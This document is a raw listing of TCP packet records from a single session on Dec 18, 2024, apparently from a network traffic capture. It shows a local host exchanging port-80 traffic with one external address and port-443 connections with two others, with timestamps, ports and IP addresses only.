Dec 18, 2024 19:08:38.767296076 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.767339945 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.767363071 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.767395020 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.768414974 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.768479109 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.768507004 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.768560886 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.769607067 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.769665956 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.769730091 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.769782066 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.770986080 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.771018028 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.771049976 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.771076918 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.771997929 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.772032022 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.772051096 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.772090912 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.773113012 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.773175955 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.773200035 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.773253918 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.774292946 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.774353981 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.774395943 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.774451017 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.775461912 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.775511026 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.775563955 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.775615931 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.776715994 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.776767969 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.776782036 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.776832104 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.777807951 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.777868986 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.777883053 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.777929068 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.779149055 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.779201031 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.779227972 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.779275894 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.780359983 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.780414104 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.780518055 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.780563116 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.781465054 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.781522989 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.781585932 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.781640053 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.782705069 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.782763958 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.782790899 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.782844067 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.783859015 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.783914089 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.783931017 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.783987045 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.784931898 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.784986973 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.785017014 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.785062075 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.786055088 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.786122084 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.786175966 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.786222935 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.787193060 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.787245035 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.787300110 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.787339926 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.788544893 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.788603067 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.788638115 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.788685083 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.789824009 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.789880037 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.789913893 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.789964914 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.790842056 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.790891886 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.790904045 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.790950060 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.791882992 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.791935921 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.792002916 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.792047977 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.793072939 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.793122053 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.793171883 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.793214083 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.794269085 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.794326067 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.794397116 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.794437885 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.795456886 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.795522928 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.795558929 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.795614958 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.796782970 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.796838999 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.796873093 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.796916962 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.797923088 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.797977924 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.798013926 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.798063993 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.799015999 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.799071074 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.799098969 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.799149990 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.800061941 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.800106049 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.800179005 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.800244093 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.801269054 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.801322937 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.801351070 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.801403999 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.802421093 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.802475929 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.802541018 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.802587032 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.803625107 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.803674936 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.803699970 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.803742886 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.804788113 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.804841995 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.804873943 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.804924965 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.806000948 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.806045055 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.806046009 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.806092978 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.807142019 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.807187080 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.807212114 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.807269096 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.837640047 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.837742090 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.867682934 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.867736101 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.867748022 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.867791891 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.867871046 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.867909908 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.868040085 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.868076086 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.869299889 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.869343996 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.869391918 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.869432926 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.870260000 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.870301962 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.870397091 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.870436907 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.871540070 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.871586084 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.871659994 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.871726990 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.872786045 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.872828960 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.872878075 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.872916937 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.873706102 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.873754025 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.873760939 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.873800993 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.874732018 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.874773979 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.874846935 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.874887943 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.875411034 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.875456095 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.875463963 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.875504971 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.876085043 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.876127958 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.876195908 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.876238108 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.876883984 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.876928091 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.876981020 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.877019882 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.877588034 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.877630949 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.877700090 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.877738953 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.878453970 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.878496885 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.878556013 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.878597021 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.879296064 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.879334927 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.879395008 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.879436016 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.879976988 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.880017042 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.880043030 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.880089998 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.880539894 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.880594015 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.880655050 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.880702972 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.881170988 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.881216049 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.881242037 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.881282091 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.881764889 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.881807089 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.881855965 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.881896973 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.882360935 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.882405043 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.882448912 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.882491112 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.883039951 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.883080959 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.883174896 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.883215904 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.883718967 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.883764982 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.883795023 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.883836031 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.884394884 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.884439945 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.884495020 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.884536028 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.885070086 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.885113955 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.885189056 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.885229111 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.885731936 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.885776043 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.885831118 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.885874033 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.886410952 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.886454105 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.886522055 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.886562109 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.887088060 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.887132883 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.887157917 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.887201071 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.887988091 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.888030052 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.888058901 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.888103962 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.888492107 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.888535023 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.888653040 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.888694048 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.889163971 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.889209986 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.889219999 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.889259100 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.889846087 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.889889956 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.889940977 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.889980078 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.891371965 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.891428947 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.891489029 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.891501904 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.891534090 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.891561031 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.891796112 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.891846895 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.891978025 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.892016888 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.892091990 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.892133951 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.892575979 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.892625093 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.892699003 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.892740011 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.893208027 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.893251896 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.893279076 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.893318892 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.893874884 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.893919945 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.893990040 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.894035101 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.894695044 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.894737959 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.894792080 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.894834995 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.895271063 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.895318031 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.895363092 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.895409107 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.895925045 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.895970106 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.896106005 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.896145105 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.896650076 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.896693945 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.896698952 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.896739006 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.897277117 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.897329092 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.897357941 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.897402048 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.897994041 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.898022890 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.898035049 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.898061991 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.898657084 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.898730040 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.898756981 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.898772001 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.899307013 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.899346113 CET	80	49730	31.41.244.11	192.168.2.5
Dec 18, 2024 19:08:38.899353981 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:38.899386883 CET	49730	80	192.168.2.5	31.41.244.11
Dec 18, 2024 19:08:39.236588001 CET	443	49732	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:39.236694098 CET	443	49732	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:39.236747026 CET	49732	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:39.329355001 CET	49732	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:39.329382896 CET	443	49732	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:39.462364912 CET	49734	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:39.462399006 CET	443	49734	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:39.462488890 CET	49734	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:39.462815046 CET	49734	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:39.462826967 CET	443	49734	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:39.484534025 CET	443	49733	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:39.484637022 CET	49733	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:39.485914946 CET	49733	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:39.485927105 CET	443	49733	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:39.486206055 CET	443	49733	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:39.487910986 CET	49733	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:39.487931013 CET	49733	443	192.168.2.5	172.67.179.109
Dec 18, 2024 19:08:39.488017082 CET	443	49733	172.67.179.109	192.168.2.5
Dec 18, 2024 19:08:40.824289083 CET	443	49734	172.67.131.246	192.168.2.5
Dec 18, 2024 19:08:40.824471951 CET	49734	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:40.826209068 CET	49734	443	192.168.2.5	172.67.131.246
Dec 18, 2024 19:08:40.826222897 CET	443	49734	172.67.131.246	192.168.2.5
